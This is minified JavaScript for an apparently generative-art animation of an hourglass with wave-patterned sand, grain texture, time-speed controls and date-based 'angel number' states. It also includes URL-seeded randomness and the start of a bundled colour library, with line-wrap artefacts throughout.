4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,PI/4),e.pop()):4==this.patternOrder[0]&&(e.push(),e.translate(width/2,height/2),e.rotate(3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,3*PI/4),e.pop())}}class GrainRenderer{static texture;static deltaX;static deltaY;static maxDelta=100;static wCanvas;static hCanvas;static setup(e,t){GrainRenderer.wCanvas=e+GrainRenderer.maxDelta,GrainRenderer.hCanvas=t+GrainRendereM
r.maxDelta,GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0),GrainRenderer.texture=createImage(GrainRenderer.wCanvas,GrainRenderer.hCanvas),GrainRenderer.texture.loadPixels();let i=GrainRenderer.texture.pixelDensity();for(let e=0;e<GrainRenderer.wCanvas;e++)for(let t=0;t<GrainRenderer.hCanvas;t++){let s=216.75,a=255,r=random(s,a),h=random(s,a),n=random(s,a);for(let s=0;s<i;s++)for(let a=0;a<i;a++){let o=4*((t*i+a)*GrainRenderer.wCanvas*i+(e*i+s));GrainRendM
erer.texture.pixels[o]=r,GrainRenderer.texture.pixels[o+1]=h,GrainRenderer.texture.pixels[o+2]=n,GrainRenderer.texture.pixels[o+3]=255}}GrainRenderer.texture.updatePixels()}static applyGrain(e,t){let i=!!t&&{atFrame:1};e.textureOverlay(GrainRenderer.texture,{mode:BURN,animate:i})}static applyGrainToMainCanvas(e){blendMode(BURN),e&&(GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0)),image(GrainRenderer.texture,GrainRenderer.deltaX,GrainRenderer.deltaY)}}conM
st HourglassSize={SMALL:"SMALL",MEDIUM:"MEDIUM",LARGE:"LARGE"};class HourglassRenderer{constructor(e,t,i){this.nLayer=10,this.wCanvas=e.width,this.hCanvas=e.height,this.hourglassSize=t.hourglassSize,this.poly=t.poly,this.evolvePeriod=t.evolvePeriod,this.xc=this.wCanvas/2,this.yc=this.hCanvas/2,this.x1=this.xc+random(100,300),this.y1=this.yc+random(100,300),this.x2=this.xc+random(100,300),this.y2=this.yc+random(100,300),this.x1m=this.wCanvas-this.x1,this.y1m=this.y1,this.maxR=min(this.wCanvas,this.hCanvas)/2,1==thisM
.poly?this.mainRadius=.1*this.maxR*4:this.mainRadius=.1*this.maxR*getRandomInt(1,6),i.registerIterationChangeEvent(this.onIterationChange.bind(this));let s=i.getCurrentIteration();this.onIterationChange(s),this.topline=this.polygon(this.xc,this.yc,this.poly,PI),this.bottomline=this.polygon(this.xc,this.yc,this.poly,0),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.excitement=.15*max(this.sandRects[0][2],this.sandRects[0][3]),this.dx=[],this.dy=[];for(let e=0;e<2M
*this.nLayer;++e)this.dx[e]=random(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement);this.curSecond=(new Date).getSeconds(),this.rotateAngle=0}onIterationChange(e){randomSeed(100*e+2),this.startAngle=this.getStartAngle(),this.radiuses=this.getRadiuses()}getIteration(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(M
e.getFullYear()-1970)+e.getMonth()),t}getStartAngle(){let e=getRandomInt(1,6);return PI/(2.5+.5*e)}getRadiuses(){let e,t;this.hourglassSize==HourglassSize.MEDIUM?(e=.45*this.maxR,t=.55*this.maxR):this.hourglassSize==HourglassSize.LARGE&&(e=.6*this.maxR,t=.7*this.maxR);let i=[];for(let s=0;s<this.poly;s++){let a;a=0==s?e:random(e,t),i.push(a)}return i}update(e,t){if(e.getSeconds()!=this.curSecond){this.curSecond=e.getSeconds(),this.secondTicked=!0,this.rotateAngle+=PI/30;for(let e=0;e<2*this.nLayer;++e)this.dx[e]=raM
ndom(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement)}else this.secondTicked=!1;this.topline=this.polygon(this.xc,this.yc,this.poly,PI+t),this.bottomline=this.polygon(this.xc,this.yc,this.poly,t),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.time=e,this.rotation=t}draw(e,t,i){let s=i.luminance(.3);e.fill(255,255,255,255),e.blendMode(REMOVE),e.rect(0,0,this.wCanvas,this.hCanvas),e.blendMode(BLEND),0==t?this.drawShadowNormal(eM
,s,this.time):1==t&&this.drawShadowCircle(e,s),e.fill(255,255,255,255),e.blendMode(REMOVE),this.drawShape(e,this.topline),this.drawShape(e,this.bottomline),e.blendMode(BLEND)}drawShadowNormal(e,t,i){let s=floor(i.getMinutes()/10),a=i.getMinutes()%10;e.push(),e.noFill(),e.strokeWeight(.005*this.maxR);for(let i=0;i<s;i++){let a=map(i,s,0,.2,.5),r=color(...Color.chromaToArray(t.alpha(a)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i],this.yc+this.dy[2*i],this.poly,PI)}for(let i=0;i<a;i++){let s=map(i,a,0,.M
2,.5),r=color(...Color.chromaToArray(t.alpha(s)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i+1],this.yc+this.dy[2*i+1],this.poly,0)}e.pop()}drawShadowCircle(e,t){e.push(),e.noStroke(),e.translate(this.xc,this.yc),e.rotate(PI+this.rotateAngle);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.fill(a),this.getAndDrawPolygon(e,0,2.5*this.mainRadius,this.poly,PI),this.getAndDrawPolygon(e,0,2.5*-this.mainRadius,this.poly,0),e.rotate(PI/3)}e.pop(),e.push(),e.noFill(),M
e.strokeWeight(2),e.translate(this.xc,this.yc),e.rotate(-this.rotateAngle+PI/30);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.stroke(a),this.getAndDrawPolygon(e,0,-this.mainRadius/2,this.poly,PI),this.getAndDrawPolygon(e,0,this.mainRadius/2,this.poly,0),e.rotate(-PI/3)}e.pop()}getAndDrawPolygon(e,t,i,s,a){let r=this.polygon(t,i,s,a);this.drawShape(e,r)}drawShape(e,t){e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endShape(e.CLOSE)}polygon(e,t,i,s){leM
t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
